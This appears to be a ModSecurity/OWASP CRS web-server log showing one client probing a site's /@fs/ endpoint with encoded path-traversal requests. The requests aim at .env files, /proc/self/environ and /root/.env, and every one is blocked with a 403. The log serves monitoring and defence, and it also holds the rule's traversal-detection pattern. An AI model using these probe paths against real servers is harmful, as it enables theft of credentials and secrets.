[Mon Oct 26 02:31:10.735301 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.735451 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.735492 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.735573 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.736201 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.737339 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43564] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrlXeakVq8o0GRFxwkQAAABY"]
[Mon Oct 26 02:31:10.800803 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43598] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zrqflAYQKhf1b3nSAEQAAAAA"]
[Mon Oct 26 02:31:10.800914 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43598] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zrqflAYQKhf1b3nSAEQAAAAA"]
[Mon Oct 26 02:31:10.800948 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43598] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zrqflAYQKhf1b3nSAEQAAAAA"]
[Mon Oct 26 02:31:10.801423 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zrqflAYQKhf1b3nSAEQAAAAA"]
[Mon Oct 26 02:31:10.802312 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrqflAYQKhf1b3nSAEQAAAAA"]
[Mon Oct 26 02:31:11.356704 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7zr271mB7d7Sol4w_LAwAAAA4"]
[Mon Oct 26 02:31:11.356704 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at7zr89if2Wl_DKO7Xa_1AAAADM"]
[Mon Oct 26 02:31:11.357204 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7zr271mB7d7Sol4w_LAwAAAA4"]
[Mon Oct 26 02:31:11.357209 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at7zr89if2Wl_DKO7Xa_1AAAADM"]
[Mon Oct 26 02:31:11.358112 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr271mB7d7Sol4w_LAwAAAA4"]
[Mon Oct 26 02:31:11.358126 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr89if2Wl_DKO7Xa_1AAAADM"]
[Mon Oct 26 02:31:11.406229 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zr6flAYQKhf1b3nSAEgAAAAA"]
[Mon Oct 26 02:31:11.406784 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zr6flAYQKhf1b3nSAEgAAAAA"]
[Mon Oct 26 02:31:11.407894 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr6flAYQKhf1b3nSAEgAAAAA"]
[Mon Oct 26 02:31:11.513922 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zr1XeakVq8o0GRFxwkgAAABY"]
[Mon Oct 26 02:31:11.514475 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zr1XeakVq8o0GRFxwkgAAABY"]
[Mon Oct 26 02:31:11.515245 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr1XeakVq8o0GRFxwkgAAABY"]
[Mon Oct 26 02:31:11.558519 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at7zr0WLg2gbRhOJIF011QAAABE"]
[Mon Oct 26 02:31:11.559063 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at7zr0WLg2gbRhOJIF011QAAABE"]
[Mon Oct 26 02:31:11.559853 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr0WLg2gbRhOJIF011QAAABE"]
[Mon Oct 26 02:31:11.608733 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7zrz4ZhFTh4Z0ZnDXvzwAAABQ"]
[Mon Oct 26 02:31:11.609324 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7zrz4ZhFTh4Z0ZnDXvzwAAABQ"]
[Mon Oct 26 02:31:11.610154 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrz4ZhFTh4Z0ZnDXvzwAAABQ"]
[Mon Oct 26 02:31:11.707599 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43694] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at7zrxsFUPwtLAmxgObf2gAAABo"]
[Mon Oct 26 02:31:11.708336 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43694] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at7zrxsFUPwtLAmxgObf2gAAABo"]
[Mon Oct 26 02:31:11.709406 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43694] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrxsFUPwtLAmxgObf2gAAABo"]
[Mon Oct 26 02:31:11.720725 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43610] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zr39jXGqHxPWOUzy_kAAAAAM"]
[Mon Oct 26 02:31:11.720867 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zr39jXGqHxPWOUzy_kAAAAAM"]
[Mon Oct 26 02:31:11.721443 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zr39jXGqHxPWOUzy_kAAAAAM"]
[Mon Oct 26 02:31:11.722224 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr39jXGqHxPWOUzy_kAAAAAM"]
